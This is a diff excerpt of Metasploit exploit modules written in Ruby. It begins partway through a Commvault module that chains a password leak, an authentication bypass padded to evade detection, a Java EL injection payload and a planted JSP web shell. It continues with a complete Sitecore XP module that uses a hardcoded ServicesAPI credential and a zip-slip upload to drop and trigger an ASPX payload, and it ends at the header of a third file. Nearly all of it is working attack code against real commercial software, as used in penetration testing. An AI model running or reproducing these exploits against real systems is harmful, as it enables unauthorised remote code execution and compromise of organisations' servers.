vprint_status('Attempting to query the publicLink.do endpoint')
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'publicLink.do')
|
||||
)
|
||||
end
|
||||
|
||||
def leak_target_info
|
||||
# The 'activeMQConnectionURL' leak depicted in the finder blog post is not present on many systems by default
|
||||
# CVE-2025-57788 can be exploited to access an authenticated web API endpoint that leaks host name and OS info
|
||||
psu_pass = extract_publicsharinguser_pass
|
||||
|
||||
vprint_status("Attempting PublicServiceUser login using: #{psu_pass}")
|
||||
res = login_as_publicsharinguser(psu_pass)
|
||||
|
||||
fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res
|
||||
|
||||
if res.code != 200
|
||||
fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (non-200 status), the target is likely not vulnerable')
|
||||
end
|
||||
|
||||
# Extract the token from the login response
|
||||
regex = /(QSDK [a-zA-Z0-9]+)/
|
||||
psu_token = res.body.scan(regex)[0][0]
|
||||
|
||||
if psu_token.blank?
|
||||
fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (no token returned), the target is likely not vulnerable')
|
||||
end
|
||||
|
||||
vprint_good("Authenticated as PublicSharingUser, got token: #{psu_token}")
|
||||
|
||||
res = get_host_info(psu_token)
|
||||
|
||||
fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res
|
||||
|
||||
if res.code != 200
|
||||
fail_with(Failure::Unknown, 'Failed to get host info, the target returned a non-200 status')
|
||||
end
|
||||
|
||||
regex = /hostName="([^"]+)" /
|
||||
# Extract value, and make sure it isn't a FQDN for systems that are joined to a domain (strip period and anything after, if present)
|
||||
hostname = res.body.scan(regex)[0][0].split('.').first
|
||||
|
||||
regex = /osType="([^"]+)" /
|
||||
target_os = res.body.scan(regex)[0][0]
|
||||
|
||||
if hostname.blank? || target_os.blank?
|
||||
fail_with(Failure::UnexpectedReply, 'The target response unexpectedly did not provide a host name or OS string')
|
||||
end
|
||||
|
||||
return hostname, target_os
|
||||
end
|
||||
|
||||
def extract_publicsharinguser_pass
|
||||
# Fetch and extract the GUID that serves double-duty as the internal _+*PublicSharingUser_* user's password
|
||||
res = check_commvault_info
|
||||
|
||||
fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res
|
||||
|
||||
# If the response body contains "cv-gorkha", we assume it's Commvault
|
||||
if res.code == 200 && res.body.include?('cv-gorkha')
|
||||
vprint_status('The server returned a body that included the string cv-gorkha, looks like Commvault')
|
||||
|
||||
regex = /"cv-gorkha\\":\\"([a-zA-Z0-9-]+)\\"/
|
||||
sharinguser_pass = res.body.scan(regex)[0][0]
|
||||
|
||||
# If the regex fails to extract the GUID, we return NoAccess
|
||||
if sharinguser_pass.blank? && hostname.blank?
|
||||
fail_with(Failure::NoAccess, 'The target server is Commvault, but the PublicSharingUser password could not be leaked')
|
||||
end
|
||||
|
||||
vprint_good("Fetched GUID: #{sharinguser_pass}")
|
||||
return sharinguser_pass
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'The target server did not provide a response with the expected password leak')
|
||||
end
|
||||
end
|
||||
|
||||
def login_as_publicsharinguser(password)
|
||||
# Use the leaked GUID value to login as the _+*PublicSharingUser_* user (CVE-2025-57788)
|
||||
# This level of access is used to leak the host name via a low-privilege authenticated API endpoint
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => {
|
||||
'username' => '_+_PublicSharingUser_',
|
||||
# Passwords are base64 encoded for login
|
||||
'password' => Base64.strict_encode64(password)
|
||||
}.to_json
|
||||
)
|
||||
end
|
||||
|
||||
def get_host_info(token)
|
||||
# Extract the host name and OS from an authenticated API as PublicServiceUser
|
||||
vprint_status('Attempting to query authenticated API endpoint to get host name and OS')
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'CommServ'),
|
||||
'headers' => {
|
||||
'Authtoken' => token
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def bypass_authentication(hostname)
|
||||
# Bypass authentication and return a valid token for the internal localadmin user
|
||||
vprint_status("Attempting to mint a localadmin token using hostname: #{hostname}")
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Login'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => {
|
||||
# Username must contain the valid system host name
|
||||
'username' => "#{hostname}_localadmin__",
|
||||
# Since the malicious password to bypass authentication is a static string, randomly pad with spaces to subvert easy static detections
|
||||
'password' => Base64.strict_encode64("#{' ' * rand(1..8)}a#{' ' * rand(1..8)}-localadmin#{' ' * rand(1..8)}"),
|
||||
# Must contain the valid system host name, cannot be padded with spaces
|
||||
'commserver' => "#{hostname} -cs #{hostname}"
|
||||
}.to_json
|
||||
)
|
||||
end
|
||||
|
||||
def leak_full_path(token)
|
||||
# Since we need to provide a full filesystem path to write the web shell, we need to know what the installation path is
|
||||
# We'll attempt to use an authenticated API to leak this information
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'api', 'Workflow'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'Authtoken' => token,
|
||||
'Accept' => 'application/json'
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def get_user_desc(token, uid)
|
||||
# Grab the pre-existing user description to reinstate after exploitation
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'ctype' => 'application/json',
|
||||
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'User', uid),
|
||||
'headers' => {
|
||||
'Authtoken' => token,
|
||||
'Accept' => 'application/json'
|
||||
}
|
||||
)
|
||||
|
||||
fail_with(Failure::Unknown, 'No response when getting user description') unless res
|
||||
|
||||
if res.code != 200
|
||||
fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when checking the user description')
|
||||
end
|
||||
|
||||
res.get_json_document['users'][0]['description']
|
||||
end
|
||||
|
||||
def update_user_desc(token, uid, desc)
|
||||
# Perform a request to update the user description
|
||||
xml_data = "<App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>#{uid}</userId></userEntity><description>#{desc}</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>"
|
||||
vprint_status("Updating user description: #{xml_data}")
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/xml',
|
||||
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'User', uid),
|
||||
'headers' => {
|
||||
'Authtoken' => token
|
||||
},
|
||||
'data' => xml_data
|
||||
)
|
||||
end
|
||||
|
||||
def execute_command(hostname, uid, cmd, token, install_path, prev_desc)
|
||||
# This EL injection payload was taken from EITW of an Ivanti vuln. It's non-blind, which is a nice benefit
|
||||
# Note that ampersand is a bad character in the injection context
|
||||
payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{cmd}').getInputStream()).useDelimiter('%5C%5CA').next()}"
|
||||
|
||||
# Weaponize unauthenticated file upload to create an XML file that defines an operation to retrieve user details
|
||||
user_details_op_xml = "<App_GetUserPropertiesRequest level=\"30\">\r\n\t<user userName=\"#{hostname}_localadmin__\" /></App_GetUserPropertiesRequest>"
|
||||
message = Rex::MIME::Message.new
|
||||
|
||||
# These can be anything. Random hex str to avoid signatures where possible
|
||||
random_str = rand_text_hex(8)
|
||||
message.add_part(random_str, nil, nil, 'form-data; name="username"')
|
||||
message.add_part(random_str, nil, nil, 'form-data; name="password"')
|
||||
message.add_part(random_str, nil, nil, 'form-data; name="ccid"')
|
||||
message.add_part(random_str, nil, nil, 'form-data; name="uploadToken"')
|
||||
|
||||
# File contents to write
|
||||
message.add_part(user_details_op_xml, nil, nil, "form-data; name=\"file\"; filename=\"#{random_str}.xml\"")
|
||||
|
||||
vprint_status("Uploading XML file: #{user_details_op_xml}")
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'metrics', 'metricsUpload.do'),
|
||||
'ctype' => "multipart/form-data; boundary=#{message.bound}",
|
||||
'data' => message.to_s
|
||||
)
|
||||
|
||||
fail_with(Failure::Unknown, 'No response when uploading XML file') unless res
|
||||
|
||||
if res.code != 200
|
||||
vprint_status("Unexpected status code: #{res.code}")
|
||||
fail_with(Failure::UnexpectedReply, 'Non-200 status code when uploading XML file')
|
||||
end
|
||||
|
||||
# The localadmin user's description is set to EL payload
|
||||
res = update_user_desc(token, uid, payload)
|
||||
|
||||
fail_with(Failure::Unknown, 'No response when setting user description') unless res
|
||||
|
||||
if res.code != 200
|
||||
fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when updating user description')
|
||||
end
|
||||
|
||||
# Wrap in begin/ensure so that the injection in localadmin user description will be cleaned up
|
||||
begin
|
||||
# Move XML file to web shell
|
||||
qcommand_op = "qoperation execute -af #{install_path}\\Reports\\MetricsUpload\\Upload\\#{random_str}\\#{random_str}.xml -file #{install_path}\\Apache\\webapps\\ROOT\\#{random_str}.jsp"
|
||||
|
||||
vprint_status("Moving XML file to web shell: #{qcommand_op}")
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/plain',
|
||||
'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'QCommand'),
|
||||
'headers' => {
|
||||
'Authtoken' => token
|
||||
},
|
||||
'data' => qcommand_op
|
||||
)
|
||||
|
||||
fail_with(Failure::Unknown, 'No response when creating web shell') unless res
|
||||
|
||||
if res.code != 200 || !res.body.include?('Operation Successful.Results written')
|
||||
fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code with success message when creating web shell')
|
||||
end
|
||||
|
||||
# Register the newly written JSP web shell file for cleanup
|
||||
register_file_for_cleanup("#{install_path}\\Apache\\webapps\\ROOT\\#{random_str}.jsp")
|
||||
|
||||
# Access the web shell to trigger remote code execution
|
||||
vprint_status("Accessing the web shell file: #{random_str}.jsp")
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "#{random_str}.jsp")
|
||||
}, nil)
|
||||
ensure
|
||||
# Reinstate the pre-existing user description
|
||||
res = update_user_desc(token, uid, prev_desc)
|
||||
|
||||
fail_with(Failure::Unknown, 'No response when resetting user description') unless res
|
||||
|
||||
if res.code != 200
|
||||
fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when resetting user description')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def parse_json(json_inp, hostname)
|
||||
# Extract full path disclosure for the target host from the parameter #1 API response JSON
|
||||
|
||||
container = Array(json_inp['container'])
|
||||
deployments = container.flat_map { |c| Array(c['deployments']) }
|
||||
|
||||
# Find "{drive}:\\"" + any number of intermediary directories + "\\Commvault\\ContentStore", and only where sibling 'clientName' is the Commvault server
|
||||
regex = /([A-Z]:\\(?:[^\\]+\\)*Commvault\\ContentStore)\\?/i
|
||||
|
||||
# This gets a little gnarly, but it has worked for all the test data I have tried (including Commvault documentation example responses)
|
||||
# Can't simply search for Windows file path patterns here, because this API endpoint also returns some file paths from other hosts
|
||||
paths = deployments
|
||||
.select { |d| d.dig('client', 'clientName')&.casecmp?(hostname) }
|
||||
.map { |d| d.dig('inputForm', 'destPath') }
|
||||
.compact
|
||||
.map { |p| p.tr('/', '\\') }
|
||||
.filter_map { |p| p[regex, 1] }
|
||||
|
||||
if paths.blank?
|
||||
fail_with(Failure::NotFound, 'The target unexpectedly did not return a full path disclosure')
|
||||
end
|
||||
|
||||
# Return the first full path disclosure and swap the double backslashes for single (for use in QOperation rejects double backslashes)
|
||||
paths[0].gsub('\\\\', '\\')
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Leak the PublicSharingUser GUID password, authenticate, then query an authenticated API endpoint for target info
|
||||
leaked = leak_target_info
|
||||
|
||||
hostname = leaked[0]
|
||||
target_os = leaked[1]
|
||||
|
||||
if hostname.blank? || target_os.blank?
|
||||
fail_with(Failure::Unknown, 'Unexpectedly unable to query target system details as PublicSharingUser')
|
||||
end
|
||||
|
||||
vprint_good("Got target host name: #{hostname}")
|
||||
vprint_good("Got target host OS: #{target_os}")
|
||||
|
||||
# Check to confirm the target is supported
|
||||
if (target_os.casecmp('windows') != 0)
|
||||
fail_with(Failure::BadConfig, 'This module only supports Windows targets')
|
||||
end
|
||||
|
||||
# Attempt to use the host name to exploit the authentication bypass and retrieve a localadmin token
|
||||
res = bypass_authentication(hostname)
|
||||
|
||||
fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res
|
||||
|
||||
# If the response is 200 and includes the token prefix, grab that token
|
||||
if res.code == 200 && res.body.include?('"QSDK ')
|
||||
print_good('Successfully bypassed authentication')
|
||||
|
||||
# Extract token for later use (cookie is also persisted)
|
||||
regex = /(QSDK [a-zA-Z0-9]+)/
|
||||
admin_token = res.body.scan(regex)[0][0]
|
||||
|
||||
vprint_status("Admin token: #{admin_token}")
|
||||
|
||||
# Extract the aliasName field, which contains the dynamic user ID number (typically single digit)
|
||||
regex = /aliasName[=:]"(\d\d?)/
|
||||
admin_uid = res.body.scan(regex)[0][0]
|
||||
vprint_status("Extracted localadmin user ID number: #{admin_uid}")
|
||||
|
||||
# If the response doesn't contain the admin token, the exploit has failed
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'The authentication bypass failed - the target may not be vulnerable, or perhaps the host name leak failed')
|
||||
end
|
||||
|
||||
# Hit the admin-only web API endpoint that leaks one or more full Windows file paths
|
||||
res = leak_full_path(admin_token)
|
||||
|
||||
fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res
|
||||
|
||||
if res.code != 200
|
||||
fail_with(Failure::Unknown, 'The target returned a non-200 status when attempting to leak full path')
|
||||
end
|
||||
|
||||
# Assign the JSON response body
|
||||
leaked_json = res.get_json_document
|
||||
|
||||
vprint_status('Got JSON response, searching for installation path disclosures')
|
||||
|
||||
# Parse the JSON and find entries matching the host name, then walk to an adjacent key to leak installation path
|
||||
install_path = parse_json(leaked_json, hostname)
|
||||
vprint_good("Leaked the installation path: #{install_path}")
|
||||
|
||||
# Grab the pre-existing user description to reinstate after RCE is established
|
||||
user_desc = get_user_desc(admin_token, admin_uid)
|
||||
|
||||
vprint_status("Got user description: #{user_desc}")
|
||||
|
||||
# Plant malicious code in user description, upload XML file for user info, then create the web shell
|
||||
execute_command(hostname, admin_uid, payload.encoded, admin_token, install_path, user_desc)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,353 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/zip'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
include Msf::Exploit::Remote::HTTP::SitecoreXp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Sitecore XP CVE-2025-34510 Post-Authentication Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits CVE-2025-34510, path traversal leading to remote code execution. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Piotr Bazydlo', # Discovery
|
||||
'msutovsky-r7' # Module Creator
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2025-34510'],
|
||||
['URL', 'https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform'],
|
||||
['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667']
|
||||
],
|
||||
'DisclosureDate' => '2025-06-17',
|
||||
'DefaultTarget' => 0,
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows',
|
||||
{
|
||||
'Arch' => [ARCH_X86, ARCH_X64]
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/']),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
return Exploit::CheckCode::Unknown('Could not log in, application might not be Sitecore') unless login_identitysrv('ServicesAPI', 'b')
|
||||
|
||||
@is_logged = true
|
||||
|
||||
return Exploit::CheckCode::Safe('Could not get elevated cookies') unless get_identity_cookies
|
||||
|
||||
@is_elevated = true
|
||||
|
||||
sitecore_version = get_version
|
||||
|
||||
return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4'))
|
||||
|
||||
Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable")
|
||||
end
|
||||
|
||||
def upload_step(data)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
|
||||
'vars_get' => { 'hdl' => 'sc_ct_trk' },
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => data
|
||||
})
|
||||
res
|
||||
end
|
||||
|
||||
def upload_zipslip
|
||||
fake_zip = "#{Rex::Text.rand_text_alphanumeric(10)}.zip"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
|
||||
'vars_get' => { 'hdl' => 'sc_ct_trk' },
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
return false unless res&.code == 200
|
||||
|
||||
hidden_inputs = res.get_hidden_inputs
|
||||
html_body = res.get_html_document
|
||||
|
||||
view_state = html_body.at("input[@name='__VIEWSTATE']")
|
||||
|
||||
file_el = html_body.xpath('//input').find { |link| link['name'] =~ /File([0-9]+)/ }
|
||||
|
||||
return false unless hidden_inputs && view_state && file_el
|
||||
|
||||
file_param = file_el['name']
|
||||
|
||||
proto = datastore['ssl'] ? 'https' : 'http'
|
||||
|
||||
res = upload_step({
|
||||
'__PARAMETERS' => 'FileChange',
|
||||
'__EVENTTARGET' => file_param,
|
||||
'__EVENTARGUMENT' => '',
|
||||
'__SOURCE' => file_param,
|
||||
'__EVENTTYPE' => 'change',
|
||||
'__CONTEXTMENU' => '',
|
||||
'__MODIFIED' => '',
|
||||
'__ISEVENT' => '1',
|
||||
'__SHIFTKEY' => '',
|
||||
'__CTRLKEY' => '',
|
||||
'__ALTKEY' => '',
|
||||
'__BUTTON' => 'undefined',
|
||||
'__KEYCODE' => 'undefined',
|
||||
'__X' => 'undefined',
|
||||
'__Y' => 'undefined',
|
||||
'__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
|
||||
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
|
||||
'__VIEWSTATE' => view_state['value'],
|
||||
'Language' => hidden_inputs.dig(0, 'Language'),
|
||||
'Item' => hidden_inputs.dig(0, 'Item'),
|
||||
'Path' => hidden_inputs.dig(0, 'Path'),
|
||||
'Unzip' => '0',
|
||||
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
|
||||
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
|
||||
'ffSubmitForm' => ''
|
||||
})
|
||||
|
||||
return false unless res&.code == 200
|
||||
|
||||
json_data = res.get_json_document
|
||||
|
||||
return false unless json_data.dig('commands', 1, 'value') =~ /name="File([a-zA-Z0-9]+)"/
|
||||
|
||||
new_file_input = "File#{Regexp.last_match(1)}"
|
||||
|
||||
res = upload_step({
|
||||
'__PARAMETERS' => '',
|
||||
'__EVENTTARGET' => 'NextButton',
|
||||
'__EVENTARGUMENT' => '',
|
||||
'__SOURCE' => 'NextButton',
|
||||
'__EVENTTYPE' => 'click',
|
||||
'__CONTEXTMENU' => '',
|
||||
'__MODIFIED' => '',
|
||||
'__ISEVENT' => '1',
|
||||
'__SHIFTKEY' => '',
|
||||
'__CTRLKEY' => '',
|
||||
'__ALTKEY' => '',
|
||||
'__BUTTON' => '0',
|
||||
'__KEYCODE' => 'undefined',
|
||||
'__X' => '1525',
|
||||
'__Y' => '1258',
|
||||
'__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
|
||||
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
|
||||
'__VIEWSTATE' => view_state['value'],
|
||||
'Language' => hidden_inputs.dig(0, 'Language'),
|
||||
'Item' => hidden_inputs.dig(0, 'Item'),
|
||||
'Path' => hidden_inputs.dig(0, 'Path'),
|
||||
'Unzip' => '0',
|
||||
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
|
||||
new_file_input => '',
|
||||
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
|
||||
'ffSubmitForm' => ''
|
||||
})
|
||||
|
||||
return false unless res&.code == 200
|
||||
|
||||
res = upload_step({
|
||||
'__PARAMETERS' => '',
|
||||
'__EVENTTARGET' => 'NextButton',
|
||||
'__EVENTARGUMENT' => '',
|
||||
'__SOURCE' => 'NextButton',
|
||||
'__EVENTTYPE' => 'click',
|
||||
'__CONTEXTMENU' => '',
|
||||
'__MODIFIED' => '',
|
||||
'__ISEVENT' => '1',
|
||||
'__SHIFTKEY' => '',
|
||||
'__CTRLKEY' => '',
|
||||
'__ALTKEY' => '',
|
||||
'__BUTTON' => '0',
|
||||
'__KEYCODE' => 'undefined',
|
||||
'__X' => '1524',
|
||||
'__Y' => '1265',
|
||||
'__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
|
||||
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
|
||||
'__VIEWSTATE' => view_state['value'],
|
||||
'Language' => hidden_inputs.dig(0, 'Language'),
|
||||
'Item' => hidden_inputs.dig(0, 'Item'),
|
||||
'Path' => hidden_inputs.dig(0, 'Path'),
|
||||
'Unzip' => '0',
|
||||
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
|
||||
new_file_input => '',
|
||||
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
|
||||
'ffSubmitForm' => ''
|
||||
})
|
||||
|
||||
return false unless res&.code == 200
|
||||
|
||||
res = upload_step({
|
||||
'__PARAMETERS' => 'upload:unzipclicked',
|
||||
'__EVENTTARGET' => 'UnzipCheck',
|
||||
'__EVENTARGUMENT' => '',
|
||||
'__SOURCE' => 'UnzipCheck',
|
||||
'__EVENTTYPE' => 'change',
|
||||
'__CONTEXTMENU' => '',
|
||||
'__MODIFIED' => '',
|
||||
'__ISEVENT' => '1',
|
||||
'__SHIFTKEY' => '',
|
||||
'__CTRLKEY' => '',
|
||||
'__ALTKEY' => '',
|
||||
'__BUTTON' => 'undefined',
|
||||
'__KEYCODE' => 'undefined',
|
||||
'__X' => 'undefined',
|
||||
'__Y' => 'undefined',
|
||||
'__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
|
||||
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
|
||||
'__VIEWSTATE' => view_state['value'],
|
||||
'Language' => hidden_inputs.dig(0, 'Language'),
|
||||
'Item' => hidden_inputs.dig(0, 'Item'),
|
||||
'Path' => hidden_inputs.dig(0, 'Path'),
|
||||
'Unzip' => '0',
|
||||
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
|
||||
new_file_input => '',
|
||||
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
|
||||
'UnzipCheck' => '1',
|
||||
'ffSubmitForm' => ''
|
||||
})
|
||||
|
||||
return false unless res&.code == 200
|
||||
|
||||
res = upload_step({
|
||||
'__PARAMETERS' => '',
|
||||
'__EVENTTARGET' => 'NextButton',
|
||||
'__EVENTARGUMENT' => '',
|
||||
'__SOURCE' => 'NextButton',
|
||||
'__EVENTTYPE' => 'click',
|
||||
'__CONTEXTMENU' => '',
|
||||
'__MODIFIED' => '',
|
||||
'__ISEVENT' => '1',
|
||||
'__SHIFTKEY' => '',
|
||||
'__CTRLKEY' => '',
|
||||
'__ALTKEY' => '',
|
||||
'__BUTTON' => '0',
|
||||
'__KEYCODE' => 'undefined',
|
||||
'__X' => '1523',
|
||||
'__Y' => '1257',
|
||||
'__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
|
||||
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
|
||||
'__VIEWSTATE' => view_state['value'],
|
||||
'Language' => hidden_inputs.dig(0, 'Language'),
|
||||
'Item' => hidden_inputs.dig(0, 'Item'),
|
||||
'Path' => hidden_inputs.dig(0, 'Path'),
|
||||
'Unzip' => '0',
|
||||
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
|
||||
new_file_input => '',
|
||||
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
|
||||
'UnzipCheck' => '1',
|
||||
'ffSubmitForm' => ''
|
||||
})
|
||||
|
||||
return false unless res&.code == 200
|
||||
|
||||
res = upload_step({
|
||||
'__PARAMETERS' => 'StartUploading',
|
||||
'__EVENTTARGET' => '',
|
||||
'__EVENTARGUMENT' => '',
|
||||
'__SOURCE' => '',
|
||||
'__EVENTTYPE' => '',
|
||||
'__CONTEXTMENU' => '',
|
||||
'__MODIFIED' => '',
|
||||
'__ISEVENT' => '1',
|
||||
'__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
|
||||
'__VIEWSTATE' => view_state['value'],
|
||||
'Language' => hidden_inputs.dig(0, 'Language'),
|
||||
'Item' => hidden_inputs.dig(0, 'Item'),
|
||||
'Path' => hidden_inputs.dig(0, 'Path'),
|
||||
'Unzip' => '1',
|
||||
'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
|
||||
new_file_input => '',
|
||||
file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
|
||||
'UnzipCheck' => '1',
|
||||
'ffSubmitForm' => ''
|
||||
})
|
||||
|
||||
return false unless res&.code == 200
|
||||
|
||||
zip = Rex::Zip::Archive.new
|
||||
|
||||
@webshell_file = "#{Rex::Text.rand_text_alpha(15)}.aspx"
|
||||
exe = generate_payload_exe
|
||||
asp = Msf::Util::EXE.to_exe_aspx(exe)
|
||||
|
||||
zip.add_file('//\/../' + @webshell_file, asp)
|
||||
|
||||
zip_data = zip.pack
|
||||
|
||||
vars_form_data = [
|
||||
{ 'name' => '__CSRFTOKEN', 'data' => hidden_inputs.dig(0, '__CSRFTOKEN') },
|
||||
{ 'name' => '__VIEWSTATE', 'data' => view_state['value'] },
|
||||
{ 'name' => 'Item', 'data' => hidden_inputs.dig(0, 'Item') },
|
||||
{ 'name' => 'Language', 'data' => hidden_inputs.dig(0, 'Language') },
|
||||
{ 'name' => 'Path', 'data' => hidden_inputs.dig(0, 'Path') },
|
||||
{ 'name' => 'Unzip', 'data' => '1' },
|
||||
{ 'name' => 'Overwrite', 'data' => hidden_inputs.dig(0, 'Overwrite') },
|
||||
{ 'name' => file_param, 'data' => zip_data, 'content_type' => 'application/zip', 'encoding' => 'binary', 'filename' => fake_zip },
|
||||
{ 'name' => new_file_input, 'data' => '', 'content_type' => 'application/octet-stream', 'filename' => '' }
|
||||
]
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
|
||||
'vars_get' => { 'hdl' => 'sc_ct_trk' },
|
||||
'vars_form_data' => vars_form_data
|
||||
})
|
||||
|
||||
return false unless res&.code == 200 && res.body.include?('Done')
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def trigger_payload
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(@webshell_file)
|
||||
})
|
||||
end
|
||||
|
||||
def exploit
|
||||
if !@is_logged && !login_identitysrv('ServicesAPI', 'b')
|
||||
fail_with(Failure::NoAccess, 'Failed to log in, check the credentials')
|
||||
end
|
||||
|
||||
if !@is_elevated && !get_identity_cookies
|
||||
fail_with(Failure::Unknown, 'Failed to get elevated cookies')
|
||||
end
|
||||
|
||||
fail_with(Failure::PayloadFailed, 'Failed to upload malicious ZIP') unless upload_zipslip
|
||||
|
||||
trigger_payload
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,132 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
